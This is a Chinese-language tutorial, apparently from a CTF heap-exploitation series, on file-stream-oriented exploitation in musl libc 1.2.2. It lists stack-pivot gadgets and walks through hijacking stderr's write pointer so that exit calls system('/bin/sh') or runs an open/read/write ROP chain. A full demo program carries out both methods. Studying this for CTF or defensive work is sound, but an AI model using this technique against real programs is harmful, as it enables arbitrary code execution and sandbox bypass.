在上一篇文章中,我们详细分析了如何通过musl的内存分配系统实现任意两个地址互相写的利用。本文据此讨论应该如何使用这种方式getshell。
首先看到musl中的_IO_FILE
结构体:
struct _IO_FILE {unsigned flags;unsigned char *rpos, *rend;int (*close)(FILE *);unsigned char *wend, *wpos;unsigned char *mustbezero_1;unsigned char *wbase;size_t (*read)(FILE *, unsigned char *, size_t);size_t (*write)(FILE *, const unsigned char *, size_t);off_t (*seek)(FILE *, off_t, int);unsigned char *buf;size_t buf_size;FILE *prev, *next;int fd;int pipe_pid;long lockcount;int mode;volatile int lock;int lbf;void *cookie;off_t off;char *getln_buf;void *mustbezero_2;unsigned char *shend;off_t shlim, shcnt;FILE *prev_locked, *next_locked;struct __locale_struct *locale;
};
其中有4个函数指针close
、read
、write
、seek
。在解题时,标准输入输出的三个FILE
结构体:stdin
、stdout
、stderr
是我们利用的重点。首先我们需要了解musl的exit函数调用链:
_Noreturn void exit(int code)
{__funcs_on_exit();__libc_exit_fini();__stdio_exit();_Exit(code);
}
void __stdio_exit(void)
{FILE *f;for (f=*__ofl_lock(); f; f=f->next) close_file(f);close_file(__stdin_used);close_file(__stdout_used);close_file(__stderr_used);
}
static void close_file(FILE *f)
{if (!f) return;FFINALLOCK(f);if (f->wpos != f->wbase) f->write(f, 0, 0);if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}
exit
__stdio_exit
close_file
可以看到close_file
中可能会调用三个FILE
的write
和seek
函数指针。我们要修改的也正是这两个指针。在没有沙箱的情况下,只需要将FILE
结构体开头的几个字节修改为/bin/sh
,再修改write
指针的值为system
,以及修改f->wpos
、f->wbase
中其中之一就可以调用到system("/bin/sh")
。而在有沙箱保护的情况下,还需要通过栈迁移才能进行orw。
由于调用close_file
时,rsp
周围的栈环境不受我们控制,因此我们不能使用带有pop rsp
的gadget。以下是查找带有mov rsp, xxx
的gadget:
root@colin-virtual-machine:~/Desktop/my_how2heap/musl# ROPgadget --binary /lib/x86_64-linux-musl/libc.so | grep "mov rsp"
0x0000000000076b32 : add byte ptr [rax], al ; sub rdx, 8 ; mov rsp, rdx ; jmp rax
0x0000000000022c22 : add dword ptr [rax], eax ; mov rsp, qword ptr [rbp - 0xc0] ; jmp 0x22750
0x000000000007571b : add eax, dword ptr [rax] ; mov rsp, qword ptr [rbp - 0x448] ; jmp 0x75096
0x000000000004d278 : je 0x4d183 ; mov rsp, r9 ; jmp 0x4d101
0x00000000000789f3 : jg 0x78a1d ; mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]
0x0000000000022c0a : jne 0x22bf0 ; mov rsp, qword ptr [rbp - 0xc0] ; jmp 0x227e2
0x000000000004d259 : lea ebx, [rax + 1] ; mov rsp, r9 ; jmp 0x4d101
0x000000000004d258 : lea r11, [rax + 1] ; mov rsp, r9 ; jmp 0x4d101
0x000000000004d247 : mov eax, 0xffffffff ; mov rsp, r9 ; jmp 0x4d199
0x00000000000789f2 : mov edi, dword ptr [rdi + 0x28] ; mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]
0x00000000000789f1 : mov r15, qword ptr [rdi + 0x28] ; mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]
0x000000000007571d : mov rsp, qword ptr [rbp - 0x448] ; jmp 0x75096
0x0000000000022c24 : mov rsp, qword ptr [rbp - 0xc0] ; jmp 0x22750
0x0000000000022c0c : mov rsp, qword ptr [rbp - 0xc0] ; jmp 0x227e2
0x00000000000789f5 : mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]
0x000000000004d25c : mov rsp, r9 ; jmp 0x4d101
0x000000000004d24c : mov rsp, r9 ; jmp 0x4d199
0x0000000000076b38 : mov rsp, rdx ; jmp rax
0x000000000004d246 : sub byte ptr [rax - 1], bh ; mov rsp, r9 ; jmp 0x4d199
0x0000000000076b35 : sub edx, 8 ; mov rsp, rdx ; jmp rax
0x0000000000076b34 : sub rdx, 8 ; mov rsp, rdx ; jmp rax
其中注意到mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]
,由于write
函数的第一个参数是FILE
结构体自身,因此这里的[rdi+0x30]
是我们可以通过提前修改控制的值,这样就能够控制rsp
的值。同样,后面的[rdi+0x38]
可以写入ROP链开头的一个gadget的地址,从而开始执行ROP链。这里注意到[rdi+0x38]
当rdi
等于FILE
结构体地址时,0x38的偏移对应的正好就是wbase
,这样可以在满足判断条件的同时写入gadget地址,一举两得。
总结:
FILE
结构体的3个地方—— /bin/sh
f->wpos
、f->wbase
中其中之一使得二者不等write
写入system
函数地址。FILE
结构体的3个地方—— f->wbase
写入第一个gadget地址使得f->wpos
、f->wbase
不等的同时能够执行到gadgetwrite
写入刚才提到的栈迁移的gadget下面笔者编写的demo程序详细演示了两种利用方式的流程,为方便起见,demo中没有通过unlink进行地址写操作,而是直接写。如果使用unlink进行任意地址写,要注意偏移量,两个地址a和b中如果a能够写到b的位置,那么b会写到a+8的位置,对应于两个指针在结构体中的偏移,这一点在上一篇文章中最后打印结果时有体现,不要忽视。
如果执行不成功,请检查自己机器上的musl libc版本是否是1.2.2,若不是,则根据反汇编结果进行偏移量的调整即可。(选择orw模式时需确保当前文件夹中有flag文件)
头文件musl_util.h
:
#ifndef MY_HOW2HEAP_MUSL_UTIL_H
#define MY_HOW2HEAP_MUSL_UTIL_H#include
#include
#include
#include
#include
#include
#include struct _IO_FILE {unsigned flags;unsigned char *rpos, *rend;int (*close)(FILE *);unsigned char *wend, *wpos;unsigned char *mustbezero_1;unsigned char *wbase;size_t (*read)(FILE *, unsigned char *, size_t);size_t (*write)(FILE *, const unsigned char *, size_t);off_t (*seek)(FILE *, off_t, int);unsigned char *buf;size_t buf_size;FILE *prev, *next;int fd;int pipe_pid;long lockcount;int mode;volatile int lock;int lbf;void *cookie;off_t off;char *getln_buf;void *mustbezero_2;unsigned char *shend;off_t shlim, shcnt;FILE *prev_locked, *next_locked;struct __locale_struct *locale;
};struct meta {struct meta *prev, *next;struct group *mem;volatile int avail_mask, freed_mask;unsigned long long last_idx:5;unsigned long long freeable:1;unsigned long long sizeclass:6;unsigned long long maplen:8*8-12;
};struct group {struct meta *meta;unsigned char active_idx:5;char pad[0x10 - sizeof(struct meta *) - 1];unsigned char storage[];
};struct meta_area {unsigned long long check;struct meta_area *next;int nslots;struct meta slots[];
};#define BLACK "30"
#define RED "31"
#define GREEN "32"
#define YELLOW "33"
#define BLUE "34"
#define PURPLE "35"
#define GREEN_DARK "36"
#define WHITE "37"#define UNDEFINED "-"
#define HIGHLIGHT "1"
#define UNDERLINE "4"
#define SPARK "5"#define STR_END "\033[0m"void printf_color(char* color, char* effect, char* string){char buffer[0x1000] = {0};strcpy(buffer, "\033[");if(effect[0] != '-'){strcat(buffer, effect);strcat(buffer, ";");}strcat(buffer, color);strcat(buffer, "m");strcat(buffer, string);printf("%s" STR_END, buffer);
}void print_binary(char* buf, int length){printf("---------------------------------------------------------------------------\n");printf("Address info starting in %p:\n", buf);int index = 0;char output_buffer[80];memset(output_buffer, '\0', 80);memset(output_buffer, ' ', 0x10);for(int i=0; i<(length % 16 == 0 ? length / 16 : length / 16 + 1); i++){char temp_buffer[0x10];memset(temp_buffer, '\0', 0x10);sprintf(temp_buffer, "%#5x", index);strcpy(output_buffer, temp_buffer);output_buffer[5] = ' ';output_buffer[6] = '|';output_buffer[7] = ' ';for(int j=0; j<16; j++){if(index+j >= length)sprintf(output_buffer+8+3*j, " ");else{sprintf(output_buffer+8+3*j, "%02x ", ((int)buf[index+j]) & 0xFF);if(!isprint(buf[index+j]))output_buffer[58+j] = '.';elseoutput_buffer[58+j] = buf[index+j];}}output_buffer[55] = ' ';output_buffer[56] = '|';output_buffer[57] = ' ';printf("%s\n", output_buffer);memset(output_buffer+58, '\0', 16);index += 16;}printf("---------------------------------------------------------------------------\n");
}#endif //MY_HOW2HEAP_MUSL_UTIL_H
c文件musl_FSOP.c
:
#include "musl_util.h"#define get_shell 1
#define orw 2
// 重要!在这里修改利用模式
#define mode orwchar* flag = "./flag";
char* bin_sh = "/bin/sh";
size_t enough_space[0x100];
size_t fake_stack[0x40];
char flag_content[0x20];int main(){setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);printf_color(GREEN, UNDEFINED, "本程序用于演示musl libc的FSOP利用方式。\n");printf_color(GREEN, UNDEFINED, "测试环境:ubuntu 22.04,musl版本:1.2.2。\n");printf_color(GREEN, UNDEFINED, "与glibc相似,FSOP也是musl的一种重要的利用方式。\n");printf_color(GREEN, UNDEFINED, "下面是musl libc中FILE结构体的定义:\n\n");printf_color(YELLOW, HIGHLIGHT, "(/src/internal/stdio_impl.h, line 21)\n");printf_color(PURPLE, HIGHLIGHT,"struct _IO_FILE {\n""\tunsigned flags;\n""\tunsigned char *rpos, *rend;\n""\t\033[1;31mint (*close)(FILE *);\n" "\033[1;" PURPLE "m""\tunsigned char *wend, *wpos;\n""\tunsigned char *mustbezero_1;\n""\tunsigned char *wbase;\n""\t\033[1;31msize_t (*read)(FILE *, unsigned char *, size_t);\n" "\033[1;" PURPLE "m""\t\033[1;31msize_t (*write)(FILE *, const unsigned char *, size_t);\n" "\033[1;" PURPLE "m""\t\033[1;31moff_t (*seek)(FILE *, off_t, int);\n" "\033[1;" PURPLE "m""\tunsigned char *buf;\n""\tsize_t buf_size;\n""\tFILE *prev, *next;\n""\tint fd;\n""\tint pipe_pid;\n""\tlong lockcount;\n""\tint mode;\n""\tvolatile int lock;\n""\tint lbf;\n""\tvoid *cookie;\n""\toff_t off;\n""\tchar *getln_buf;\n""\tvoid *mustbezero_2;\n""\tunsigned char *shend;\n""\toff_t shlim, shcnt;\n""\tFILE *prev_locked, *next_locked;\n""\tstruct __locale_struct *locale;\n""};\n\n");printf_color(GREEN, UNDEFINED, "用红色标出的4行表示4个函数指针,这是我们利用的关键。\n");printf_color(GREEN, UNDEFINED, "又注意到exit函数有调用链:exit->__stdio_exit->close_file。\n\n");printf_color(YELLOW, HIGHLIGHT, "(/src/stdio/__stdio_exit.c, line 16)\n");printf_color(PURPLE, HIGHLIGHT,"void __stdio_exit(void)\n""{\n""\tFILE *f;\n""\tfor (f=*__ofl_lock(); f; f=f->next) close_file(f);\n""\tclose_file(__stdin_used);\n""\tclose_file(__stdout_used);\n""\tclose_file(__stderr_used);\n""}\n\n");printf_color(YELLOW, HIGHLIGHT, "(/src/stdio/__stdio_exit.c, line 8)\n");printf_color(PURPLE, HIGHLIGHT,"static void close_file(FILE *f)\n""{\n""\tif (!f) return;\n""\tFFINALLOCK(f);\n""\tif (f->wpos != f->wbase) f->write(f, 0, 0);\n""\tif (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);\n""}\n\n");printf_color(GREEN, UNDEFINED, "可以看到3个标准IO的FILE结构体都可能会调用write和seek函数。\n");printf_color(GREEN, UNDEFINED, "如果能够修改这些函数指针的值,就能够执行任意代码。\n");printf_color(GREEN, UNDEFINED, "因此无论如何,首先要做的就是获取libc的基地址。\n");printf_color(GREEN, UNDEFINED, "我们就利用stderr标准错误FILE结构体的地址来获取。\n");size_t stderr_addr = (size_t)stderr;printf_color(GREEN, UNDEFINED, "stderr的地址为:");printf("\033[1;31m%#zx\n\033[0m", stderr_addr);printf_color(GREEN, UNDEFINED, "stderr在libc中的偏移量为0xAD080。\n");size_t libc_base = stderr_addr - 0xAD080;printf_color(GREEN, UNDEFINED, "计算得到libc的基地址为:");printf("\033[1;31m%#zx\n\n\033[0m", libc_base);if(mode == get_shell){printf_color(BLUE, HIGHLIGHT, "你选择了get shell模式。\n");printf_color(GREEN, UNDEFINED, "在get shell模式中,我们需要修改stderr的3处内容:\n");printf_color(RED, HIGHLIGHT, "1. 开头,需修改为字符串\"/bin/sh\"。\n");printf_color(RED, HIGHLIGHT, "2. wpos或wbase,使得这两个值不等即可。\n");printf_color(RED, HIGHLIGHT, "3. write函数指针,修改为system的地址。\n");printf_color(GREEN, UNDEFINED, "需要注意调用write函数时,第一个参数是FILE结构体地址。\n");printf_color(GREEN, UNDEFINED, "因此需要在FILE开头写字符串,从而get shell。\n");size_t system_addr = (size_t)system;printf_color(GREEN, UNDEFINED, "system的地址为:");printf("\033[1;31m%#zx\n\033[0m", system_addr);strcpy((char*)stderr_addr, "/bin/sh");((FILE*)stderr_addr)->wbase = (unsigned char*)1;((FILE*)stderr_addr)->write = (size_t (*)(FILE*, const unsigned char*, size_t))system_addr;printf_color(GREEN, UNDEFINED, "调教完成的stderr:\n");print_binary((char*)stderr_addr, sizeof(struct _IO_FILE));printf_color(GREEN, UNDEFINED, "最后只需要调用exit函数即可。\n");exit(0);}else if(mode == orw){printf_color(BLUE, HIGHLIGHT, "你选择了orw模式。\n");printf_color(GREEN, UNDEFINED, "orw的利用方式较get shell要复杂一些。\n");printf_color(GREEN, UNDEFINED, "但对于stderr而言还是只需要修改3个地方:\n");printf_color(RED, HIGHLIGHT, "1. 偏移0x30处,修改为修改为新栈的地址。\n");printf_color(RED, HIGHLIGHT, "2. wbase,偏移0x38,修改为第一个gadget的地址。\n");printf_color(RED, HIGHLIGHT, "3. write函数指针,修改为栈迁移的gadget的地址。\n\n");printf_color(GREEN, UNDEFINED, "在偏移0x789F5处有这样一个gadget:\n");printf_color(RED, HIGHLIGHT, "0x00000000000789f5 : mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]\n");printf_color(GREEN, UNDEFINED, "考虑到write函数调用的第一个参数为stderr地址,rdi=stderr地址。\n");printf_color(GREEN, UNDEFINED, "按照上面的方案修改stderr,可以完美实现栈迁移。\n");printf_color(GREEN, UNDEFINED, "准备伪造栈的地址为:");printf("\033[1;31m%p\n\033[0m", fake_stack);size_t pivot_gadget = libc_base + 0x789F5;size_t pop_rdi = libc_base + 0x152A1;size_t pop_rsi = libc_base + 0x1B0A1;size_t pop_rdx = libc_base + 0x2A50B;((FILE*)stderr_addr)->mustbezero_1 = (unsigned char*)fake_stack;((FILE*)stderr_addr)->wbase = (unsigned char*)pop_rdi;((FILE*)stderr_addr)->write = (size_t (*)(FILE*, const unsigned char*, size_t))pivot_gadget;printf_color(GREEN, UNDEFINED, "调教完成的stderr:\n");print_binary((char*)stderr_addr, sizeof(struct _IO_FILE));printf_color(GREEN, UNDEFINED, "一些有用的gadget:\n");printf_color(BLUE, HIGHLIGHT, "pop rdi ; ret : ");printf("\033[1;" BLUE "m%#zx\n\033[0m", pop_rdi);printf_color(BLUE, HIGHLIGHT, "pop rsi ; ret : ");printf("\033[1;" BLUE "m%#zx\n\033[0m", pop_rsi);printf_color(BLUE, HIGHLIGHT, "pop rdx ; ret : ");printf("\033[1;" BLUE "m%#zx\n\033[0m", pop_rdx);fake_stack[0] = (size_t)flag; // open函数参数1fake_stack[1] = pop_rsi;fake_stack[2] = 0; // open函数参数2fake_stack[3] = (size_t)open; // 调用openfake_stack[4] = pop_rdi;fake_stack[5] = 3; // read函数参数1fake_stack[6] = pop_rsi;fake_stack[7] = (size_t) flag_content; // read函数参数2fake_stack[8] = (size_t) pop_rdx;fake_stack[9] = 0x20; // read函数参数3fake_stack[10] = (size_t)read; // 调用openfake_stack[11] = pop_rdi;fake_stack[12] = 1; // write函数参数1fake_stack[13] = pop_rsi;fake_stack[14] = (size_t) flag_content; // write函数参数2fake_stack[15] = (size_t) pop_rdx;fake_stack[16] = 0x20; // write函数参数3fake_stack[17] = (size_t)write; // 调用writeprintf_color(GREEN, UNDEFINED, "新栈内容:\n");print_binary((char*)fake_stack, 20 * 8);printf_color(GREEN, UNDEFINED, "最后只需要调用exit函数即可。\n");exit(0);}
}
当然,在musl libc中FSOP的方法有很多,这里只是演示了其中一种。更多的利用方式还是需要通过多看多做来掌握。